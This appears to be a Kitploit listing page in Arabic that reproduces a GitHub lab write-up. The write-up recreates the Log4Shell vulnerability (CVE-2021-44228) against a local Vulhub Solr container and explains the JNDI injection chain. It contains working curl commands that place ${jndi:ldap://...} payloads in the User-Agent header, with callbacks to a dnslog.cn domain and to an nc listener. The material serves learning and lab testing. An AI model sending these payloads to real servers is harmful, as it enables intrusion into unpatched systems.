Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Log4Shell-Vulnerability-Replication — سجل كامل لإعادة إنتاج الثغرة CVE-2021-44228 (بما في ذلك إعداد البيئة والتحقق من التشغيل) | Kitploit
أدوات/GitHubGitHub/hmxh123/log4shell-vulnerability-replication
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubhmxh123/log4shell-vulnerability-replication

Log4Shell-Vulnerability-Replication

سجل كامل لإعادة إنتاج الثغرة CVE-2021-44228 (بما في ذلك إعداد البيئة والتحقق من التشغيل)

عرض المستودع
8منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

سجل كامل لتكرار الثغرة الأمنية CVE-2021-44228 (Log4Shell)

يعتمد هذا السجل على بيئة التدريب Apache Solr 8.11.0 التي يوفرها Vulhub، ويُكرر بالكامل ثغرة حقن JNDI في Log4j2، مع التحقق من وجود الثغرة بنجاح عبر DNSLog والاستماع المحلي LDAP.

أولاً: البيئة التجريبية

  • نظام التشغيل: Windows 11 + WSL2 (Ubuntu)
  • منصة الحاويات: Docker Desktop 4.76
  • مصدر ساحة التدريب: Vulhub (vulhub/log4j/CVE-2021-44228)
  • الخدمة المستهدفة: Apache Solr 8.11.0 (تحتوي على log4j-core 2.14.1)
  • جهاز الهجوم: المضيف المحلي (يعمل أيضًا كعميل DNSLog ومستمع LDAP)

ثانياً: عملية إعداد البيئة

2.1 الحصول على كود مصدر Vulhub

نظرًا لعدم استقرار الاتصال المباشر بـ GitHub، تم استخدام مرآة Gitee للتسريع:

cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git

2.2 حل مشكلة سحب صور Docker تحت الشبكة المحلية (الصينية)

قم بتكوين مسرع صور Alibaba Cloud الخاص (سجل الدخول إلى خدمة صور الحاويات للحصول على عنوانك الشخصي):

افتح Docker Desktop → Settings → Docker Engine

قم بتعديل registry-mirrors:

{
  "registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}

انقر على Apply & Restart

إذا كنت لا تزال تواجه مهلة TLS handshake، فادخل إلى WSL ونفذ sudo hwclock -s لمزامنة الوقت.

2.3 تشغيل حاوية Solr

cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d

المخرجات تظهر النجاح:

✔ Image vulhub/solr:8.11.0    Pulled    117.7s
✔ Container cve-2021-44228-solr-1    Started

بتصفح http://localhost:8983/solr تظهر واجهة إدارة Solr، تكون البيئة جاهزة.

ثالثاً: خطوات تكرار الثغرة

3.1 إنشاء Core اختبارية

لا يحتوي Solr افتراضيًا على core، يجب إنشاؤه يدويًا:

curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

يعيد "status":0, تم إنشاء core test بنجاح.

3.2 استخدام DNSLog للكشف عن وجود الثغرة

افتح المتصفح وتصفح http://dnslog.cn، انقر على Get SubDomain، ستحصل على نطاق مؤقت مثل abc123.dnslog.cn

نفذ في سطر الأوامر (استخدم curl.exe لتجنب تداخل أسماء PowerShell المستعارة):

curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

عد إلى صفحة http://dnslog.cn، انقر على Refresh Record، ستظهر فورًا سجلات تحليل DNS، مما يثبت وجود الثغرة.

3.3 التحقق عبر الاستماع المحلي (تحقق متعمق)

افتح الاستماع في WSL: nc -lvp 1389

احصل على IP المضيف (قم بتنفيذ ipconfig في Windows PowerShell، ابحث عن IP بطاقة الشبكة الافتراضية WSL مثل 172.30.208.1)

أرسل طلبًا خبيثًا يحتوي على IP المحلي:

curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

لاحظ نافذة nc، تعرض معلومات الاتصال:

connect to [172.30.208.1] from localhost [127.0.0.1] 54321

يثبت أن Solr قام بنجاح باستعلام LDAP نحو جهاز الهجوم، وتكرار الثغرة تم بنجاح.

رابعاً: ملخص مبدأ الثغرة

الوظيفة JndiLookup التي توفرها Apache Log4j2 تسمح باستخدام العناصر النائبة بتنسيق ${jndi:ldap://...} في رسائل السجل. عندما يتم تسجيل رسالة السجل، يقوم Log4j2 بتحليل هذا العنصر النائب ومحاولة الوصول إلى خادم LDAP عن بعد عبر JNDI. يمكن للمهاجم إعداد خادم LDAP خبيث يعيد حمولة Java غير المسلسلة (deserialization payload) لتحقيق تنفيذ التعليمات البرمجية عن بعد.

في هذا التكرار، من خلال تعيين رأس User-Agent إلى حمولة خبيثة، سجل Solr معلومات هذا الرأس أثناء معالجة الطلب، مما أدى إلى تشغيل استعلام JNDI، وأثبت وجود الثغرة.

خامساً: ملخص نتائج التجربة

✅ تم بنجاح إعداد بيئة الثغرة Vulhub، متغلبًا على مشاكل متنوعة تحت الشبكة المحلية (اختطاف DNS، تسريع المرآة، مزامنة وقت WSL، إلخ).

✅ تم تشغيل الثغرة بشكل مستقل، والتحقق من حقن JNDI عبر طريقتي DNSLog والاستماع المحلي.

✅ تم فهم عميق لمبدأ ثغرة Log4Shell وسلسلة هجوم حقن JNDI.

✅ تم اكتساب خبرة عملية في استكشاف أخطاء شبكة Docker وتكوين WSL2 وتنظيف وكيل Git.

سادساً: ملخص تجارب استكشاف الأخطاء

ظاهرة المشكلةالسبب الجذريطريقة الحل
git clone 502 / انتهاء مهلة الاتصالاختطاف DNS / تداخل الوكيلاستخدم مرآة Gitee، قم بمسح وكيل Git، قم بتحديث DNS
سحب صورة Docker 429تقييد معدل مصدر الصور العامةقم بتكوين مسرع Alibaba Cloud الخاص
انتهاء مهلة TLS handshakeعدم مزامنة وقت WSL2نفذ sudo hwclock -s لمزامنة الوقت
فشل تشغيل الثغرةلم يتم إنشاء core أو خطأ في موقع الحمولةأنشئ core، استخدم رأس User-Agent

سابعاً: قائمة الأوامر الكاملة

# استنساخ Vulhub (باستخدام مرآة Gitee)
git clone https://gitee.com/hanxu2486/vulhub.git

# الدخول إلى دليل الثغرة
cd D:\SecWork\vulhub\log4j\CVE-2021-44228

# تشغيل البيئة
docker-compose up -d

# إنشاء Solr Core
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

# التحقق عبر DNSLog
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# التحقق عبر الاستماع المحلي (تشغيل nc في WSL)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# إيقاف البيئة
docker-compose down

ثامناً: روابط مرجعية

مشروع Vulhub الرسمي

تفاصيل CVE-2021-44228

منصة DNSLog

تاريخ الكتابة: يونيو 2026
المؤلف: HanXu
عنوان المستودع: https://github.com/hmxh123/Log4Shell-Vulnerability-Replication

تنزيل الأداة